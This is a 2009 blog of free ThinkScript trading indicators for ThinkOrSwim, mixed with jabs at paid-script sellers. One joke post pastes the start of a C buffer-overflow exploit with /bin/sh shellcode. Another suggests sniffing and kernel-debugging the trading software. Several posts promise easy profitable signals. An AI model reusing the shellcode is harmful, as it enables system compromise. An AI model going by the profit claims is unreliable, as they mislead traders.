Friday, May 29, 2009

Bull-Bear Magic plain and simple.




Apply The Ketler Channel Study to you chart with this magic. If you're a Bear watch for the red lower dashed line to cross the KC midline for a sell(in some cases you must visually project the KC midline when price action is moving quickly), exit your short when the red dashed line crosses the KC lower band.

If you're a Bully do the opposite with the upper dashed line. Enjoy.




input tolerance = 1.5;
input Length = 15;
input coeff = 2.5;
input hideLines = {Hide_Hi, Hide_Lo, Hide_Both, default Hide_None};

def h_hi;
def h_lo;
switch(hideLines){
case Hide_Hi:
h_hi = 1; h_lo = 0;
case Hide_Lo:
h_hi = 0; h_lo = 1;
case Hide_Both:
h_hi = 1; h_lo = 1;
default:
h_hi = 0; h_lo = 0;
}
def hi_Avg = sum(if(high > high[1],high - high[1],0), Length) / sum(if(high > high[1],1,0), Length);
def hi_line = high[1] + (hi_Avg[1] * coeff);
def hi_max = Min(Min(hi_line, hi_line[1]), hi_line[2]);
plot hi_plot = hi_max;
hi_plot.setStyle(Curve.Short_Dash);
hi_plot.setHiding(h_hi);

def lo_Avg = sum(if(low < low[1],low[1] - low,0), Length) / sum(if(low < low[1],1,0), Length);
def lo_line = low[1] - (lo_Avg[1] * coeff);
def lo_max = Max(Max(lo_line, lo_line[1]), lo_line[2]);
plot lo_plot = lo_max;
lo_plot.setStyle(Curve.Short_Dash);
lo_plot.setHiding(h_lo);

plot magic = if( (hi_max-lo_max) <= tolerance, hi_max,double.nan);
magic.setPaintingStrategy(PaintingStrategy.POINTS);

Thursday, May 28, 2009

Timing is everything, end false signals.



A reader, Bryan wrote in last week with a common complaint about MA's.

"I want to find the best time to enter and exit an order. EMA's are great but so many times a fast line will cross a slow line but then turn right around and un-cross. I want a way to keep from entering and exiting orders to often. It seems like
whenever the fast EMA crosses the slow EMA AND a certain amount of time passes the combination of those 3 events signals a longer term trend. When I say "long" I
mean like half a day for day trading"


Here's a study for you. The indicator stays 'red' after the Moving Averages cross. When it turns green you are in the safe zone. This is great for true mechanical systems to make sure you don't enter and exit on false signals.





input price = close;
input Shorter_Time = 10;
input Longer_Time = 21;

Def difference = average(data = price[1], length = Longer_Time) - average(data = price[1], length = Shorter_Time);

plot timer=price[1];
timer.AssignValueColor(if difference <0 then
Color.UPTICK
else
if difference >= 0 then
Color.DOWNTICK
else
GetColor(1)
);

Wednesday, May 27, 2009

Today is a Free Day at EminiAddict.com. Get the webinar for free!



You know I like Free-dom. Here is a great Webinar freebee at EminiAddict. Dave will teach all about the Ambush trading method.

Between the hours of 9:20am - 4:15pm on 05.27.09

!https://www.gotowebinar.com/register/296630163

Enjoy

Tuesday, May 26, 2009

Distribution, it's come a long way.



A theory about Major Distribution Day; called a 90% down day is that a Major Distribution Day never comes along, so once the first one happens, there’ll be at least another one, unless a Major Accumulation Day kicks in, then the Major Distribution Day has to be recounted.

A theory about magic number three is, the 3rd time usually is different.

Now look at the chart, 2 previous Major Distribution Day, both cancelled by a Major Accumulation Day thereafter. Now this is the 3rd time we have a Major Distribution Day, so the question is: Will the 3rd time be different?



Here is a Thinkscript to identify MAD's and MDD's. Both Accumulation and Distribution days. They don't happen all the time. Running this every night will make them obvious.


declare lower;

input max_distday = 9;
input accumulation_or_distribution = {"accum", default "dist"};

def uVolume = close("$UVOL");
def dVolume = close("$DVOL");

plot baseline = 0;
plot distribution_day = max_distday;

plot volume;

switch(accumulation_or_distribution){
case accum:
volume = uVolume / dVolume;
default:
volume = dVolume / uVolume;
}

volume.SetPaintingStrategy(PaintingStrategy.HISTOGRAM);
volume.DefineColor("Positive", Color.UPTICK);
volume.DefineColor("Negative", Color.DOWNTICK);
volume.AssignValueColor(if volume >= max_distday then volume.color("Positive") else volume.color("Negative"));


I'm a Navy Pilot. Here are my videos to prove it.

Here is a little video I took while flying my F-14 and protecting the USA. Enjoy.




Here I am flying, thinking about my wife and my 7 kids. Some clips with my dogs.



Click here to see all MY Navy Pilot Videos

For the uninitiated, this is just a little joke. Some guy on the Internets "claims" to be a pilot. LoL, and some suckers believe him.

YABSI, nice buy/sell signals

Look at the Red/Green dots on the candle chart.



This is a nice Buy/Sell indicator that will give you good signals.

Green on Bottom = Buy Signal.
Green on Top = Keep your long until you get a Red on top signal.

Red on Top = Sell.
Red on Bottom = Stay with your short until you get a green on bottom.



input signalOffsetFactor = 0.20;

def signalOffset = AvgTrueRange(high,close,low,9)*signalOffsetFactor;plot Data = hlc3;

def triggerSell = if(if(close[-1] < high, 1, 0) and (hlc3[-2] < close[-1] or hlc3[-3] < close[-1]), 1, 0);

def triggerBuy = if(if(close[-1] > low, 1, 0) and (hlc3[-2] > close[-1] or hlc3[-3] > close[-1]), 1, 0);

rec buySellSwitch = if(triggerSell, 1, if(triggerBuy, 0, buySellSwitch[1]));

def thirdBarClosed = if(IsNaN(hlc3[-3]), 0, 1);

plot SBS = if(triggerSell and thirdBarClosed and !buySellSwitch[1], high+signaloffset, if(triggerBuy and thirdBarClosed and buySellSwitch[1],low-signaloffset, double.nan));

SBS.SetStyle(curve.FIRM);
SBS.SetPaintingStrategy(paintingStrategy.LINE_VS_POINTS);
SBS.SetLineWeight(2);

SBS.AssignValueColor(if triggerSell then
if thirdbarclosed then
#UpPos
CreateColor(255, 0, 0) else
#UpNeg
CreateColor(255, 0, 0)
else if Triggerbuy then
#DnPos
CreateColor(0, 255, 0) else
#DnNeg
CreateColor(0, 255, 0));

CrazyFibs, Draw Fibanocci levels on anything

Here's a great new software tool. Wanna draw fibs on someones chart, or during a live webinar? Check out CrazyFibs





Saturday, May 23, 2009

Vacation weekend puzzle

I'll leave you with a puzzle to print out for the kids. Draw your way out of the maze.



Created by Jody Hall in 2001. Have a relaxing weekend.

Friday, May 22, 2009

ThinkOrSwim TRIX indicator as a histogram, a request from L.G.




One reader asked in the comment section how to convert a standard TOS study from Line to Histogram.

Copy paste the TOS code into your own custom study and add a the function ".SetPaintingStrategy(PaintingStrategy.HISTOGRAM);" (like so)

On this study I like the Line over Histogram look, but please change it to suit your taste.



declare lower;

input length = 9;
input colorNormLength = 14;
input price = close;
input signalLength = 3;

def tr = ExpAverage(ExpAverage(ExpAverage(Log(price), length), length), length);

plot TRIX = (tr - tr[1]) * 10000;
plot Signal = ExpAverage(TRIX, signalLength);
plot ZeroLine = 0;

def normVal = FastKCustom(AbsValue(TRIX), colorNormLength);

TRIX.SetDefaultColor(GetColor(8));
TRIX.AssignValueColor(CreateColor(255, (240 - (100 - (if TRIX > 0 then normVal else (-normVal))) * 175 / 200), 0));
ZeroLine.SetDefaultColor(GetColor(5));
Signal.setDefaultColor(GetColor(3));
TRIX.SetPaintingStrategy(PaintingStrategy.HISTOGRAM);

A request from FreeThinkScript to you

Good morning readers. Thanks for the visit today. This morning I have a favor to ask.

Additional functionality in the thinkscript language will lead to better scripts that provide cutting edge analytical tools.

This change to the ThinkScript language is long overdue. When I "reference" a symbol from within a thinkscript I need to be able to specify the specific charting timeframe. So if I want "$TICK" data while I'm in a 233 chart I can get "$TICK" in a 1 minute format.

There are multiple ways to do this. One way might be to create a setter function the opposite of getAggregationPeriod().

setAggregationPeriod(_whatever_timeframe)



Let's band together in a constructive fashion and ask TOS for some additional functions in the thinkscript language.

Click here for ThinkOrSwim Live chat with Tech Support. Copy/Paste this this URL and paste it into your chat session as a reference. http://freethinkscript.blogspot.com/2009/05/request-from-freethinkscript-to-you.html

Or send an email to 'tpreston@thinkorswim' and request this additional feature.

Thanks in advance,
FreeThinkScript

Thursday, May 21, 2009

Double your Stochastics for double the fun.






You can change the smoothing types: 1 = simple, 2 = exponential. Then watch when the indicators cross above 80, or below 20 for buy/sell signals.




declare lower;
declare all_for_one;

input smoothingType = 1;

def priceH = high;
def priceL = low;
def priceC = close;

input K1_Period = 5;
input K1_Slowing = 3;
input K2_Period = 8;
input K2_Slowing = 5;

def FastK_1 = (priceC - Lowest (priceL, K1_Period)) / (Highest(priceH, K1_Period) - Lowest (priceL, K1_Period)) * 100;
def FastK_2 = (priceC - Lowest(priceL, K2_Period)) / (Highest(priceH, K2_Period) - Lowest(priceL, K2_Period)) * 100;

plot Line20 = 20;
Line20.SetDefaultColor(Color.Red);
plot Line50 = 50;
Line50.SetDefaultColor(Color.White);
plot Line80 = 80;
Line80.SetDefaultColor(Color.Red);

plot FullK_2;
plot FullK_1;

if smoothingType == 1 then {
FullK_1 = Average(FastK_1, K1_Slowing);
FullK_2 = Average(FastK_2, K2_Slowing); }
else {
FullK_1 = ExpAverage(FastK_1, K1_Slowing);
FullK_2 = ExpAverage(FastK_2, K2_Slowing); }

FullK_1.SetDefaultColor(Color.Yellow);
FullK_1.SetLineWeight(1);
FullK_2.SetDefaultColor(Color.Green);
FullK_2.SetLineWeight(1);

Technical questions about $PREM and/or $EPREM for ThinkOrSwim



A few readers have emailed and asked if I have a script for $PREM and/or $EPREM for ThinkOrSwim. The answer is no. TOS does not make data for the Big S&P futures contract available and that is what you need to calculate $PREM. If you want this kind of good data you will have to find it elsewhere.

Rules to calculate your own Premium: Subtract the Cash from the S&P front month contract (DO NOT use the minis - always use the S&P 500 futures). That will give you the "spread" between the 2.

To get fair value premium:

F=S[1+(i-d)t/360]

F = Break Even Futures Price
S = Spot index price
i = interest rate (expressed as money market yeild)
d = dividend rate (expressed as money market yeild)
t = number of days from todays spot value date to the value date of the futures contract

Wednesday, May 20, 2009

Turtles, Snails and Tropical Fish with Thinkscript

This one is for Steve A.


Well maybe not the snails and tropical fish. Tonight we'll take a look at the Turtle Trading System.

My very good friend Cho Sing Kum has a very detailed article about the World renouned Turtle Trading System. Please take a minute to review his article

Cho does use Tradestation but he is a nice guy so don't get too mad at him. Let's cut his logic over to ThinkOrSwim! Here are a couple of variations on the Donchian Channels. I run them both at once. The channel study applied to the chart, and the risk indicator as a subpanel.



Create 2 seperate studies and apply them both to the same chart. The 1 minute is most reliable.
Channels

declare upper;
input length = 20;
plot topBand = Highest(high[1], length);
plot bottomBand = Lowest(low[1], length);
plot centerBand = (topBand + bottomBand) / 2;

topBand.SetDefaultColor(Color.BLUE);
bottomBand.SetDefaultColor(Color.BLUE);
centerBand.SetDefaultColor(Color.BLUE);


Risk tolerance
Let's say you only wanted to risk $1000 on a Emini trade.
Enter cash=$1000 and this lower study will show you breakout channels based on your risk tolerance. Make sure that the 'Length' variable is the same in both studies.
Awesome free thinkscripts for thinkorswim!


declare lower;
input length=20;
input cash =1000;
input valueLine = 500;
plot channel = (Highest(High,length)[1]-Lowest(low,length)[1])*cash;

channel.setdefaultColor(Color.DOWNTICK);
plot data1 = cash;
data1.setDefaultColor(Color.YELLOW);
plot data2 = valueLine;
data2.setDefaultColor(Color.BLUE);

Free Thinkscript code for breakpointtrades.com Mechanical Systems

Here is a good source of quality information on charting, and mechanical systems.

http://breakpointtrades.com

Here is a sample of their daily update:
http://breakpointtrades.com/controls/preview.php?la_id=686

This morning I'll include a FREE script that follows their mechanical systems for SRS, SKF, and the new FAZ system mentioned in their daily update today. I'll add Chris' clouds to it as I know you guys like the pretty clouds.




Here is what we have:


And finally the code:


declare upper;
input price = close;
input displace = 0;

input EMALength1 = 9;
input EMALength2 = 39;

plot upper = ExpAverage(data = price[-displace], length = EMALength1);
upper.SetDefaultColor(Color.RED);
plot lower = ExpAverage(data = price[-displace], length = EMALength2);
lower.SetDefaultColor(Color.BLUE);
AddCloud(upper,lower);


Trade the crossovers on a 15 minute chart (daily buy/sell, exit on close system). In the link above at about the 9:05 minute mark in the audio you can hear all about it.
SRS - 9/39 EMA
SKF - 29/86 EMA (so change EMALength1 to 29, EMALength2 to 86 on a 5 min chart)

breakpointtrades.com has a free trial period so sign up and see if you like it.

A little music to start you trading day.

Tuesday, May 19, 2009

Larry Williams%R indicator marries SMA indicator. Honeymoon photo included.








The Williams%R indicator is famous for the -20 and -80 % levels to indicate overbought and oversold conditions. Watch for the 2 lines to cross on the -20 and -80 centerlines for your potential signals.

Enjoy the Free code.



declare lower;

input Length = 14;
input OverBought = -20;
input OverSold = -80;
input MovAvgLength = 9;

def highest = Highest(high, Length);
def lowest = Lowest(low, Length);
def data = if highest == lowest then -100 else (highest - close) / (highest - lowest) * (-100);

plot PercentR_SMA = if( data > 0, 0, data);
PercentR_SMA.SetDefaultColor(Color.BLUE);
plot Over_Sold = overSold;
Over_Sold.SetDefaultColor(GetColor(8));
plot Over_Bought = overBought;
Over_Bought.SetDefaultColor(GetColor(8));
plot SMA = Average(data =PercentR_SMA, length = MovAvgLength);
SMA.SetDefaultColor(GetColor(5));

Easter egg hunting with ThinkOrSwim?

I've received a few emails asking if I know more about thinkscript than what is provided in the documentation. The answer is yes. In the coming weeks I will post some interesting facts and conclusions about the application that we all run on our computers.

One such question comes up in the native TOS PivotPoint study. TOS's hidden PivotPoint code. "why does TOS hide their PivotPoint code". If it's a simple (Hi+Lo+Close)/3 calculation as John Person describes why hide the code? It's all here: http://www.nationalfutures.com/pivotcalculator.htm

http://mediaserver.thinkorswim.com/notices/Release_020609.html



Can't wait? You want to find out if you can find any Easter Eggs hidden? OK. Step one is easy, step 2 infinitely more complex and requires deep technical knowledge.

Step 1:
If you don't already have Wireshark. Download and install this utility. It allows you to examine the data that is sent to and from the servers that you communicate with on the Internet.
In this communication stream you can find a lot of useful information about what data is sent and received, vs. what data you see on the application.

http://www.wireshark.org


Step 2:
The second step is to run your financial software package on ReactOS. ReactOS is the OpenSource Windows Operating System. The advantage of doing this is that you can also be running a kernel level debugger hooked directly into the software that you are running and set breakpoints to enhance discovery.



Look for my upcoming articles about various aspects of the TOS software platform and the traders edge.

ADX Price Oscillator hybrid. A quick update on all of Your excellent comments


J.H. wrote:

Love your work. Is there anyway you could program the price oscillator to be green when the adx is above 20 and then turn red when it is below.

Thanks for all info



Excellent suggestion J.H. ! Please keep the good comments and suggestions coming.




Here is the code:


declare lower;

input length = 14;
input price = close;
input OverBought_Value = 0.288;
input OverSold_Value = -0.288;

plot DPO = price - Average(price[length / 2 + 1], length);

DPO.AssignValueColor(if reference adx(14).adx >= 20 then CreateColor(11,166,3) else CreateColor(255, 0, 0));

plot baseline = 0;
baseline.SetDefaultColor(GetColor(5));
plot OverBought = OverBought_Value;
Overbought.SetDefaultColor(GetColor(1));

plot OverSold = OverSold_Value;
Oversold.SetDefaultColor(GetColor(1));



Go long when The Price Oscillator crosses below and then back above the oversold level.

Go short when The Price Oscillator crosses above and then back below the overbought level.

With Bankruptcy looming, The trade of the day.

Hat tip to 'Anon' for the bankruptcy filing document.

The trades of the day:
--Strong Buy 3x Bull FreeThinkScript fund.

--Moderate Buy Ultra-Bear Prospectus fund(this could escalate depending on managements behavior).

--Strong Buy 3X Bear Thinkscripter fund.


Bankrupt Thinker TSthinkscripter

No need to Crash Proof my friends. Time to get long. I'll be back after the trading day with some more excellent FREE code.


Monday, May 18, 2009

Why can't I get Lines and Histogram!!?

You can have both. Both Lines and a Histogram? Yes. Here is an example of how to do it with the MACD indicator.









declare lower;

input fastLength = 12;
input slowLength = 26;
input MACDLength = 9;

plot Value = Ema2(data = close, "smoothing factor" = 2 / (1 + fastLength)) - Ema2(data = close, "smoothing factor" = 2 / (1 + slowLength));
plot Avg = ExpAverage(Value, MACDLength)[1];
plot baseline= 0;
Avg.SetDefaultColor(Color.Red);
Value.SetDefaultColor(Color.White);
baseline.SetDefaultColor(GetColor(5));
plot Diff = value - ExpAverage(Value, MACDLength)[1];
diff.AssignValueColor(if Diff >= 0 then Color.UPTICK else Color.DOWNTICK);
Diff.SetPaintingStrategy(PaintingStrategy.HISTOGRAM);

Comparing Implied Volatility to Historical Volatility the Free-way



Ahhh Think Scripting. Intentionally developed to lower the barriers to entry.

It can't get much easier than this.

Don't forget, this one requires that it's run on non-intraday charts.


declare lower;
plot implied = reference impvolatility;
plot historical= reference historicalvolatility;

Stolen Thinkscript reveals the power of miracles."The Crystalball" indicator.

Here it is ladies and gentlemen. This is the Thinkscript that I have to charge you for because it's power will allow you to tell the future.

Click on this link to make your payments



#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

static char _shell[]=
"\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d"
"\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58";

#define NOP 0x90
#define LEN 1032
#define RET 0xbffff574

int main()
{
char buffer[LEN];
long retaddr = RET;
int i;

fprintf(stderr,"Initial address 0x%lx\n",return_addr);



Hang-on a minute! You didn't donate, did you? That's not good! I can't allow you to have the magic code until you make your "donation". Sorry.




Sound familiar?

I, know, I know, it's bad getting duped by an online preditor like Thinkscammer. I've gotten about 20 emails saying that he's not responsive and he promises the moon, and his thinkscript code looks just like the ThinkOrSwim demo code.

Then when the people complain Thinkscammers SHILLS pipe in and say, we'll you only paid $50 dollars, what do you expect... Nice. The funny thing is that most of his shills are actually Thinkscammer himself.

Say it ain't so! Yes, the onion has many layers and they are starting to peel back.

Stay tuned, and no there is no magic code for the Crystal Ball indicator.

Building a vibrant community of FREEness



A few readers have asked if they can pitch in and post some free scripts that they have found or created.

My answer to this is:

Send your Thinkscripts to TSthinkscript@gmail.com

You can request anonymous posting or hat tip postings.

FreeThinkScripters unite!

Saturday, May 16, 2009

Free Automatic Ambush Fibonacci Lines Thinkscript

Evolving storyline:

I've gotten a number of requests for a automated routine to draw Ambush Fibonacci levels onto ThinkOrSwim Charts like the Master Dave Halsey. The emails that I received so far from my visitors have told me about another website who attempted to do this but the results were astonishingly dismal. This does not surprise me, what does surprise me is the website owner is trying to sell his astonishingly dismal thinkscript as a solution for Ambush Fib. LoL...





I have a solution in the pipeline due out in June. As usual I will be charging $0.00 US Dollars for this so stay tuned and don't buy the scamscript.

----------------------------------- Update ----------------------------------------

HATTIP to FanBoy in the comments section he has pointed us to a location on the Internet where the auto fib code is posted. I wonder if any of the Thinkscripter pay sites stole their code from this website? Hummmm, something to think about...



Here is their code, I have not tested it. I'm just presenting this as one possible solution or a conceptual framework for you to use, extend or otherwise rework.

My code is different and will be coming out in June:


#Optioncalc.com
#This script is for intraday.
#length is for 800 minutes of the canddles.
#Use this with 1 Minute chart.

declare fullrange;
input length =800;

def DayHigh = HighestAll(high);
def DayLow = LowestAll(low);
Plot dh = DayHigh;
Plot dl = DayLow;

def hi = GetMaxValueOffset(high);
def lo = GetMinValueOffset(low);


def hitime = GetMaxValueOffset(DayHigh , length);
def lotime = GetMinValueOffset(DayLow , length);
def updown = if hitime >= lotime then 1 else 0;


def ud23 = if ( updown, 0.236, (1 - 0.236));
def ud38 = if ( updown, 0.382, (1 - 0.382));
def ud61 = if ( updown, 0.618, (1 - 0.618));
def ud78 = if ( updown, 0.786, (1 - 0.786));

plot uFib50 = (Dayhigh - DayLow) / 2 + DayLow;
plot uFib23 = (Dayhigh - DayLow) * ud23 + DayLow;
plot uFib382 = (Dayhigh - DayLow) * ud38 + DayLow;
plot uFib618 = (Dayhigh - DayLow) * ud61 + DayLow;
plot uFib786 = (Dayhigh - DayLow) * ud78 + DayLow;


Full credit to Optioncalc.com

Begging for Donations and charging for Think Scripts!? Scams and shams.

Have you ever seen those beggars at the end of the highway exit ramps. The ones that raise your suspicions because they are wearing polo shirts and clean cotton slacks.
Highway exit ramp beggers named Prospectus or is it Pro-scam-us, and thinkscammer or something like that?


(Hat tip to reader TX_Lawnman(Mark_M,etc...) for sending the funny photo)

Bottom line: I make money trading so I don't have to charge you for thinkscripts! If I didn't trade I would have a real job and wouldn't resort to begging for donations on the Information Superhighway. These websites charging you for scripts and begging for donations are pitiful. There scripts will not make you money in the markets!! The only thing that makes you money in the markets is your trading discipline. "Studies" or indicators are visual enhancements only and that's it.

Are your losses exceeding your gains? If yes: stop trading right away! STOP. I mean slam the breaks on right now. You need discipline not a study that you have to buy from some snakeoil salesman on the interwebs.

Discipline: for a beginner to intermediate emini or futures trader this is the place you will get it --> Emini Addict. The live Trading room will cost you $30 a month. Paper Trade with a ThinkOrSwim paper account while you are learning and you will be shocked at the changes in your trading discipline. I get no kickback for plugging Daves website.

Don't buy the scam thinkscripts that promise you the moon. If the scammers were making so much money with their scam scripts do you think they would be selling them for any amount less than $15-$20 million dollars?

Just say no to the scammers.


In fact, I doubt that you are a Brown Shoe. Just more lies and BS from you to try to hold on to your soon to be ex-members.


HatTip to 'Anon' who has provided me with this little nugget from ThinkScripters brilliant and classy HelloWorld article.

Jan 17th, 2009 by ThinkScripter

I’ve been hacking away lately on some custom Think or Swim indicators and thought I’d set up this blog to share them and solicit some feedback. The scripts are free to anyone but I ask that you leave the notes in the header alone so that others can find this site and help me in my quest for complete world domination and ONE MILLION BILLION DOLLARS.

I hope you find some of them useful and improve your profitability. Shoot me some feedback one way or another.

If you find them really useful and make a gazillion bucks, then by all means click that DONATE button down there and keep my motivation levels high and my beer money fund in good health.

Happy trading to all. - ThinkScripter


I have a feeling daddy spends all day scheme and scamming while guzzling the beer. LoL Doesn't ThinkScripter sound a lot like Prospectus? Wouldn't it be a gass if they were one-in-the-same? Something to think about...

Nuff' said. I'm back to posting good Free ThinkScripts.

The only Scalpers Channel that you will ever need is FREE



Copy/paste the code below.


#---------------------------------------begin code

declare weak_volume_dependency;
input length = 20;
input factor = 15;
plot scalper_line= Average(close, factor) - log(Double.Pi * (AvgTrueRange(high, close, low, factor)));
plot hi = Highest(high, length);
plot lo = Lowest(low, length);

#---------------------------------------begin code

Friday, May 15, 2009

Weekend reading for Program Traders

A great read for the Program Traders who are lurking. Want to kick the tires on a real system? Try a deep-dive? Roll up your sleeves, here are the tools that you will need:

1) an understanding of optimization, either LP, NLP, or Piecewise Linear Optimization.
2) an understanding of AMPL, or other mathmatical modeling language. http://www.ampl.com
2) an optimization engine. I prefer iLog's Cplex/Solver.
a) She's a bit pricy but a possible alternate argument that you can give to the sales person might be somethink like "students should not be constrained by age" iLog optimization - academic
b) For those without a silver tongue -Dash Optimization Dash Optimization evaluation -student request



Example models:
>Dash Mosel -Financial(is it possible to forecast $PREM cash?)

You may want to use the article below to model your first algorithm. iLog has a lot of sample models that you can use to get a complete understanding of minimizing or maximizing your problem equation.

High Frequency Trading in a limit order book High Frequency Trading in a limit order book TSthinkscripter


OK, well now you have created your application and wrapped it around an optimization engine. Next step is to find a gateway to send orders and get confirmations:
http://advancedtrading.thewallstreetwiki.com/directories/directory-listed-futures-and-options-trading-systems.php

Or you may need a financial framework for Rapid Application Development:
http://www.smartquant.com/downloads.php aka http://www.quanthouse.com

Bonus reading:
Numerical methods in finance and economics By Paolo Brandimarte (MATLAB approach)

Finance Applications of Game Theory

The Convex/Conic argument

The quantitative hangout

An honest to goodness Trindicator



This works well on the 15 minute chart.

What's a Trindicator? This indicator is truly a representation of 3 indicators; RSI, DMI, and the StochasticsMomentumIndex. It's the difference between the 3 and 15 ema painted in one area, and the difference between the 30 and 60 ema is the other. Pretty, yes very.

You need to create 2 seperate sudies for this to work. One study will paint your chart. The other will create a new lower panel. Give it a try. Copy/paste the code below.

#-----------------------------------------------begin code

declare lower;plot rsi1 = if RSIWilder(length = 14)."RSI" >= 50 then 10 else 9;plot rsi2 = if RSIWilder(length = 14)."RSI" < 50 then 10 else 9;AddCloud(rsi1, rsi2);plot dmi1 = if DMI(length = 14)."DI+" >= DMI(length = 14)."DI-" then 8 else 7;plot dmi2 = if DMI(length = 14)."DI+" < DMI(length = 14)."DI-" then 8 else 7;AddCloud(dmi1, dmi2);plot sto1 = if StochasticMomentumIndex()."SMI" >= StochasticMomentumIndex()."AvgSMI" then 6 else 5;plot sto2 = if StochasticMomentumIndex()."SMI" < StochasticMomentumIndex()."AvgSMI" then 6 else 5;AddCloud(sto1, sto2);rsi1.setDefaultColor(Color.Gray);rsi2.setDefaultColor(Color.Gray);dmi1.setDefaultColor(Color.Gray);dmi2.setDefaultColor(Color.Gray);sto1.setDefaultColor(Color.Gray);sto2.setDefaultColor(Color.Gray);

#-----------------------------------------------end code

#-----------------------------------------------begin code

declare upper;input price = close;input displace = 0;def length3ema = 3;def length15ema = 15;def length30ema = 30;def length60ema = 60;plot avgexp3 = ExpAverage(data = price[-displace], length = length3ema);avgexp3.SetDefaultColor(Color.Gray);plot avgexp15 = ExpAverage(data = price[-displace], length = length15ema);avgexp15.SetDefaultColor(Color.Gray);AddCloud(avgexp3, avgexp15);plot avgexp30 = ExpAverage(data = price[-displace], length = length30ema);avgexp30.SetDefaultColor(Color.Gray);plot avgexp60 = ExpAverage(data = price[-displace], length = length60ema);avgexp60.SetDefaultColor(Color.Gray);AddCloud(avgexp30, avgexp60);

#-----------------------------------------------end code


hat tip to errbody

Price Oscillator with Overbought and Oversold Lines Free ThinkScript



Free scripts and profitable trades for you.
EASY!

Go long when The Price Oscillator crosses below and then back above the oversold level.

Go short when The Price Oscillator crosses above and then back below the overbought level.


#-------------------------------------------------------begin code
declare lower;

input colorNormalLen = 14;
input length = 14;
input price = close;
input OverBought_Value = 0.288;
input OverSold_Value = -0.288;

plot DPO = price - Average(price[length / 2 + 1], length);
def abs = AbsValue(DPO);
def normVal = FastKCustom(abs, colorNormalLen);
DPO.assignValueColor(createColor(255, (240 - (100 - if DPO > 0 then normVal else -normVal * 175 / 200)), 0));
plot baseline = 0;
baseline.setDefaultColor(GetColor(5));
plot OverBought = OverBought_Value;
Overbought.setDefaultColor(GetColor(1));
plot OverSold = OverSold_Value;
Overbought.setDefaultColor(GetColor(1));

#-------------------------------------------------------end code

EminiAddict.com Live Trading Room w/ Dave Halsey and ThinkOrSwim

Friday 05/15/2009 at about 11:00am. Dave is point out the possible trend revesal as the 896 area was being tested. The Live Trading room has a 7 day free trial period if you want to check it out for free.

7 day Free introduction to trading Emini Futures

The educational focus of EminiAddict.com uses the Ambush system.

Trade automation in ThinkOrSwim using 'Strategies'

Here is a moving average cross strategies where a moving average crosses over another ex. a 10 day simple moving average crosses over a 30 day simple moving average.

You may want to try this for creating a mechanical trade system.

To create a Strategy follow these image instructions (Click on image to zoom in)

Choose 'Edit Strategies'


Then click on the button on the bottom of this popup box labeled 'New Strategy'. (Click on this image to zoom in)


Then choose a new name for your strategy, delete the default TOS code "declare Long_Entry;" and copy/paste the code into that area. Each LONG_ENTRY and SHORT_ENTRY should have their own startegy and strategy name for ease of use.

Strategy Overview

There are four basic strategy types. Each strategy script must be declared to be one (and only one) of the following:

-LONG_ENTRY
-LONG_EXIT
-SHORT_ENTRY
-SHORT_EXIT

For each trade direction you want to use, you need at least one entry strategy and one exit strategy. For a long only method, you would need at least one “LONG_ENTRY” strategy and one “LONG_EXIT” strategy. If you go long and short, you need at least one of each of the four types. I say “at least” above because you could have more than one entry or exit strategy per trade direction, i.e. one “LONG_ENTRY” and two “LONG_EXIT” strategies, where one exit might represent a profit target and the other one a stop loss.



Here is some customizable code that you can use as a template. We will add this to a chart that uses SMA studies. Where SMA1 is the shorter of the two moving averages and SMA2 is the longer of the two moving averages.

Possible Name: MACrossoverLE

#-------------------------------------------begin code
declare LONG_ENTRY;

input SMA1length=10;

input SMA2length=30;

def SMA1=reference SimpleMovingAvg(length=SMA1length);

def SMA2=reference SimpleMovingAvg(length=SMA2length);

addOrder(SMA1>SMA2);

#-------------------------------------------end code

Short Entry Code:

Possible Name: MACrossoverSE
#-------------------------------------------begin code
declare SHORT_ENTRY;

input SMA1length=10;

input SMA2length=30;

def SMA1=reference SimpleMovingAvg(length=SMA1length);

def SMA2=reference SimpleMovingAvg(length=SMA2length);

addOrder(SMA1 < SMA2);
#-------------------------------------------end code

Weekend reading and viewing for Swimmers

With the weekend rapidly approaching if you can, please allocate some time and read up on Gamma Scalping and if time permits watch the video.














A Simple Advance/Decline subpanel



This is a great way to get a simple visual reference to Advances Issues/Declining Issues subpanel into your free study library.


#-----------------------------------------------------begin code

declare lower;

plot data = close("$advn")/close("$decn");
plot data2 = close("$decn")/close("$advn");
plot ZeroLine = 1;
plot Diff = data;
plot Diff2 = data2;
diff.AssignValueColor(if Diff >= 1 then Color.UPTICK else Color.DOWNTICK);
Diff.SetPaintingStrategy(PaintingStrategy.HISTOGRAM);
diff2.AssignValueColor(if Diff2 >= 1 then Color.downtick else Color.upTICK);
Diff2.SetPaintingStrategy(PaintingStrategy.HISTOGRAM);
ZeroLine.SetDefaultColor(color.DARK_GRAY);
data.SetDefaultColor(color.green);
data2.SetDefaultColor(color.pink);

#-----------------------------------------------------end code

A Simple TICK subpanel







Do you need a FREE thinkscript for TICK that you can apply to a subpanel? Well here it is ladies and gents. Copy and Paste.


-------------------------------------------begin code

declare lower;

plot data = High("$tick");
Plot Data2 = Low ("$tick");
plot ZeroLine = 0;
plot up = 800;
plot down = -1000;
Plot Noise = 600;
Plot Noise2 = -600;
zeroline.setDefaultColor(color.blue);
Noise.setDefaultColor(color.yellow);
noise2.setDefaultColor(color.yellow);
up.setDefaultColor(color.uptick);
down.setDefaultColor(color.uptick);
data.AssignValueColor(if data >= 800 then Color.upTICK else Color.blue);
data.setLineWeight(2);
Data.SetPaintingStrategy(PaintingStrategy.HISTOGRAM);
data2.assignValueColor(if data2 <= -1000 then Color.downtick else Color.blue);
data2.setLineWeight(2);
Data2.SetPaintingStrategy(PaintingStrategy.HISTOGRAM);
ZeroLine.SetDefaultColor(GetColor(0));

-------------------------------------------end code

A Simple TRIN cloud



This is a handy visual aide to keep an eye on TRIN. This upper line is TRIN high and lower line is TRIN low.

#----------------------------------------------------begin code

declare lower;

plot trin_hi = high("$TRIN");
plot trin_lo = low("$TRIN");
AddCloud(trin_hi, trin_lo);

#----------------------------------------------------end code

Thursday, May 14, 2009

Smooth CCi indicator




This one should smooth out the CCI for ya lad. Red and Green indicators on as it crosses major horizontal lines. Designed to create buy/sell alerts on any cross for a major line (-200, -100, 0, 100, 200). Bloody well make some quid with this one.



#-----------------------------------------------------------begin code

